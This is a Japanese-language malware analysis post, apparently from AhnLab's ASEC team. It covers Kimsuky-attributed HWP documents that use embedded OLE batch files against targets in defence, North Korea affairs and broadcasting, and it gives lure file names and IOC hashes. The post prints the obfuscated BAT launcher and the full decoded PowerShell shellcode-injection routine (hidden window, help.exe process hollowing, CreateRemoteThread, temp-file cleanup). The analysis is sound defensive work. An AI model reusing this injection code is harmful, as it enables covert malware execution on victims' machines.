活発に拡散し続けている BAT スクリプトを含む不正なアレアハングルドキュメント(北朝鮮/国防/放送)

ASEC 分析チームは、アレアハングルドキュメントの正常な機能(OLE オブジェクトリンクの挿入)を悪用する APT 攻撃を目的としたドキュメントが最近活発に拡散していることを確認した。3月8日に掲載した「第20代大統領選挙洋上投票報道資料を装った不正なアレアハングルドキュメントの拡散」のケース以降、攻撃者は国防、対北朝鮮、放送関係者をターゲットに持続的に不正なアレアハングルドキュメントを拡散している。

https://asec.ahnlab.com/jp/32440/

不正なアレアハングルドキュメントの動作方式は、ドキュメント内に挿入された OLE オブジェクト(バッチファイル)が実行され、PowerShell を通じてシェルコードを正常なプロセスにインジェクションして動作するものである。この時、攻撃者は OLE オブジェクト(バッチファイル)が実行されるようにユーザーの本文のクリックを誘導する文章を主に挿入する。

以下のアレアハングルドキュメントのリストは、このような動作方式により配布された不正なアレアハングルドキュメントのファイル名である。攻撃は、国防、対北朝鮮、放送関係者をターゲットに実行され、拡散は PC メッセンジャーや Web ブラウザを通じてダウンロードされる状況が確認された。


 검토용_정치의 이해 6교(수정반영본)_20220507.hwp (2022.05.10)
(翻訳: 検討用_政治の理解6校(修正反映版)_20220507.hwp (2022.05.10))
• 동평연 입회신청서(2022).hwp (2022.05.11)
(翻訳: 東アジア平和連帯入会申込書(2022).hwp (2022.05.11))

• 혁신수업질문지.hwp (2022.05.18)
(翻訳: イノベーションクラス質問用紙.hwp (2022.05.18))
• 북한 코로나 사태 분석.hwp (2022.05.20)
(翻訳: 北朝鮮コロナ事態分析.hwp (2022.05.20))
• 동평연 입회신청서(김XX).hwp (2022.05.20)
(翻訳: 東アジア平和連帯入会申込書(キムXX).hwp (2022.05.20))
• 김XX이력서.hwp (2022.05.20)
(翻訳: キムXX履歴書.hwp (2022.05.20))
• 2022년도 공고문 주요 부분 발췌.hwp (2022.05.23)
(翻訳: 2022年度公告文主要部分抜粋.hwp (2022.05.23))
• (연구자문위원회)_국회미래연구원_연구과제_수요조사.hwp (2022.05.25)
(翻訳: (研究諮問委員会)_国会未来研究院_研究課題_需要調査.hwp (2022.05.25))
• 8교_완료_정치의 이해_편집자.hwp (2022.05.26)
(翻訳: 8校_完了_政治の理解_編集者.hwp (2022.05.26))
• 220530- 혁신수업질문지.hwp (2022.05.30)
(翻訳: 220530- イノベーションクラス質問用紙.hwp (2022.05.30))
• 2022년 제13기 장학생 지원 신청서(교육비).hwp (2022.05.30)
(翻訳: 2022年第13期奨学生志願申込書(教育費).hwp (2022.05.30))
• 국방부학술회의진행순서.hwp (2022.06.02)
(翻訳: 国防部学術会議進行順序.hwp (2022.06.02))
• 2022-0626 하성란 – 누가 울어.hwp (2022.06.07)

(翻訳: 2022-0626 ハ・ソンナン – 誰が泣く.hwp (2022.06.07))

以下は、6月7日に収集された「2022-0626 ハ・ソンナン – 誰が泣く.hwp」の内部バッチファイルのスクリプトである。バッチファイルのスクリプトは難読化状態で存在するが、最終的に PowerShell を通じてシェルコードを Windows の正常なプロセスにインジェクションする機能を実行する。

@echo off
IF EXIST "%PROGRAMFILES(X86)%" (set pspath="%windir%\syswow64\WindowsPowerShell\v1.0\powershell.exe") 
ELSE (set pspath="%windir%\system32\WindowsPowerShell\v1.0\powershell.exe")
start "" %pspath%  -command "$ttms="$eruk2="""2463029..省略..3B7D7D""";
$blwp="""""";
for($i=0;$i -le $eruk2.Length-2;$i=$i+2){$NTMO=$eruk2[$i]+$eruk2[$i+1];$blwp= $blwp+[char]([convert]::toint16($NTMO,16));};
Invoke-Command -ScriptBlock ([Scriptblock]::Create($blwp));";
Invoke - Command - ScriptBlock([Scriptblock]::Create($ttms));"

特に、3月8日に公開された「第20代大統領選挙洋上投票報道資料を装った不正なアレアハングルドキュメントの拡散」(https://asec.ahnlab.com/jp/32440/)ファイルの変数名と起動方式が同じであり、同じグループによる攻撃と推定される。

  • 使用された PowerShell 変数名が一致 : $ttms$eruk2
  • 日付別 PowerShell コマンドの比較 (コードの類似性)
    -> 3月8日 : $kkx9=[DllImport(“user32.dll”)] public static extern bool ShowWindow(int handle, int state);
    -> 6月7日 : $kkp8=@” [DllImport(“user32.dll”)] public static extern bool ShowWindow(IntPtr a, uint b);”@;

最終的な復号化された PowerShell のコードは以下の通りである。アレアハングル本体のファイル下段のシェルコードを読み込んで Windows の正常な help.exe プロセスにインジェクションを実行する。

$kkp8=@"
[DllImport("user32.dll")] 
public static extern bool ShowWindow(IntPtr a, uint b);
"@;
$mmp8=Add-Type -MemberDefinition $kkp8 -Name "AAA"  -PassThru;
$mmp8::ShowWindow(([System.Diagnostics.Process]::GetCurrentProcess() | Get-Process).MainWindowHandle, 0);
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
    public IntPtr hP;
    public IntPtr ht;
    public uint dwProcessId;
    public uint dwThreadId;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct STARTUPINFO
{
    public uint cb;
    public string lpReserved;
    public string lpDesktop;
    public string lpTitle;
    public uint dwX;
    public uint dwY;
    public uint dwXSize;
    public uint dwYSize;
    public uint dwXCountChars;
    public uint dwYCountChars;
    public uint dwFillAttribute;
    public uint dwFlags;
    public uint wShowWindow;
    public short cbReserved2;
    public IntPtr lpReserved2;
    public IntPtr hStdInput;
    public IntPtr hStdOutput;
    public IntPtr hStdError;
}
public static class Kernel32
{
    [DllImport("kernel32.dll")]
    public static extern bool CreateProcess(string a,string b,uint c,uint d,bool e,uint f,IntPtr g,string h, ref STARTUPINFO i,out PROCESS_INFORMATION j);
    [DllImport("kernel32.dll")]
    public static extern IntPtr GlobalAlloc(uint a,uint b);
    [DllImport("kernel32.dll")]
    public static extern IntPtr VirtualAllocEx(IntPtr a,IntPtr b, uint c,uint d, uint  e);
    [DllImport("kernel32.dll")]
    public static extern bool WriteProcessMemory(IntPtr a,IntPtr b,IntPtr c,uint  d,IntPtr e);
    [DllImport("kernel32.dll")]
    public static extern IntPtr WaitForSingleObject(IntPtr a,uint b);
    [DllImport("kernel32.dll")]
    public static extern IntPtr CreateRemoteThread(IntPtr a,IntPtr b,uint c,IntPtr d,IntPtr e,uint f,IntPtr g);
}
"@
$si = New-Object STARTUPINFO;
$pi = New-Object PROCESS_INFORMATION;
$ap8=Get-WmiObject Win32_Process -filter "Name like 'Hwp%'";
$x=0;
$y=0;
while(1){if($y -eq 1){break;}if($ap8.GetType().Name -eq "Object[]"){if($x -eq $ap8.count){$y=1;}$bp8=$ap8[$x].Name;
$cp8=$ap8[$x++].CommandLine;}else{$bp8=$ap8.Name;
$cp8=$ap8.CommandLine;
$y=1;}$ep8=$cp8.Split('"').count;if($ep8 -eq 3){$fp8=$cp8.Split('"')[2].Split(' ')[1];}elseif($ep8 -eq 5){$fp8=$cp8.Split('"')[3];}$bytes = Get-Content $fp8 -Tail 1 -Encoding Byte;
$dp8="/c taskkill /f /im "+$bp8;cmd $dp8;if($bytes -eq 0x88){$gp8=""""+$env:TEMP+"\alw0305k.con"+"""";
$hp8=""""+$env:TEMP+"\t32.bat"+"""";
$ip8=""""+$fp8+"""";sleep 3;
$bytes = Get-Content $fp8 -Tail 0x332 -Encoding Byte;
$addr = [Kernel32]::GlobalAlloc(0x40, 0x400);
for ($h = 0;$h -lt 0x331;$h++)
{[System.Runtime.InteropServices.Marshal]::WriteByte($addr, $h, $bytes[$h]);};
[Kernel32]::CreateProcess("c:\windows\SysWOW64\help.exe",0,0,0,0,0x04,0,"c:",[ref] $si,[ref] $pi);
$kp8=$pi.hP;
$mp8=[Kernel32]::VirtualAllocEx($kp8,0,0x400,0x1000,0x40);[Kernel32]::WriteProcessMemory($kp8,$mp8,$addr, 0x331, 0);
$dp8="/c copy /y "+$gp8+" "+$ip8;
$pep8=0;
$psp8='0';do{$pep8++;
$psp8=cmd $dp8;sleep 1;if($pep8 -eq 5){break;}}while($psp8.Trim()[0] -ne '1');start $ip8;
$jp8="cmd /c del /f "+""""+$gp8+"""";cmd $jp8;
$jp8="cmd /c del /f "+""""+$hp8+"""";cmd $jp8;
$lp8 = [Kernel32]::CreateRemoteThread($kp8, 0, 0, $mp8, 0, 0, 0);[Kernel32]::WaitForSingleObject($lp8, 500*1000);}}

過去の不正なアレアハングルドキュメントは主にポストスクリプト(Post Script)の脆弱性を利用して APT 攻撃が目的のアレアハングルドキュメントを配布したが、最近はアレアハングルドキュメントの正常な機能を使用して配布している。2つの方式の違いは、脆弱性の場合はユーザーの介入なく不正なシェルコードが実行されるのに対し、OLE オブジェクトを利用する方式はユーザーの介入(クリック)によって不正な振る舞いが発現する点である。

[図1] アレアハングル2020の OLE オブジェクト挿入機能

2017年2月以降、Hancom オフィスは公式的にポストスクリプトの脆弱性に対するセキュリティアップデートを配布し、EPS ファイルの挿入および表示機能を削除した。したがって、攻撃者は最新バージョンの Hancom オフィスユーザー環境でも不正な振る舞いが発現するように OLE オブジェクトを悪用して不正なドキュメントを配布しているものと推定される。

現在までに確認された配布経路は、Web ブラウザを通じて不正なアレアハングルドキュメントがダウンロードされる、または PC メッセンジャーを通じてドキュメントが配布される事例がある。したがって、ユーザーは出どころが不明なスレッドの添付ファイルを閲覧しないようにし、身元不詳のユーザーから PC メッセンジャーを通じてドキュメントをダウンロードしたり閲覧しないよう、特に注意しなければならない。

[ファイル検知]
Infostealer/PS.Kimsuky

[IOC]
882546e8fc2dc2fd580170afda20e396
1d413a7c62b48760838bed0d03a35b05
393f78e609af5e77da5ea9ba10facbfb
e223711e31431250946203c27372cd3a
9aac95c3d76319fe3df9fed53fb06507
7442a74c7351b8ab0bb49b778530a95e
404e2fe1fbca70603cb91932664bc112
87c1f6ab7933bce7969f593e3c6096c2
393f78e609af5e77da5ea9ba10facbfb
b5b0ffecc4b30e7f140b517333c6a2d2
546ae7bd8b88289a21ac8d7dc62a3bd7
390a2439581b8c04adace93fed2e4425
7dea7277f672ad85fdf344c467f739eb
667dbfdc01cc6e808b2485c7eed74e97

関連 IOC および詳細な解析情報は、AhnLab の次世代脅威インテリジェンスプラットフォーム「AhnLab TIP」サブスクリプションサービスを通して確認できる。

5 2 votes
評価する
guest
0 コメント
Inline Feedbacks
View all comments